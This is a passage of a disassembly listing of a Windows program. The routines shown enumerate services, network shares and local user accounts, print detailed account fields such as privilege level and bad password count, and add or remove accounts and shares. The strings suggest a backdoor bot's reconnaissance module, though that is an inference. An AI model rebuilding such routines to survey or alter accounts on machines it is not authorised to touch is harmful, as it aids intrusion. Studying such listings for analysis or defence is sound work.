		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8CC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_439518[eax*4]
		push	offset unk_439BC4
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_43951C[eax*4]
		push	offset dword_439BA8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB63C
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439B84
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB83C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB83C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5DC, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5DC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB5DC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8C8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8A0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB918
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C10
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8BC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA64


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_43951C[eax*4]
		push	offset unk_439CC8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_439518[eax*4]
		push	offset unk_439C98
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB840
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439C70
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8AC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB89C
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA2C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CE8
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA64


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB934
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439ED8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EA4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA64
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA64


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A0F:				; CODE XREF: sub_4199AC+21j
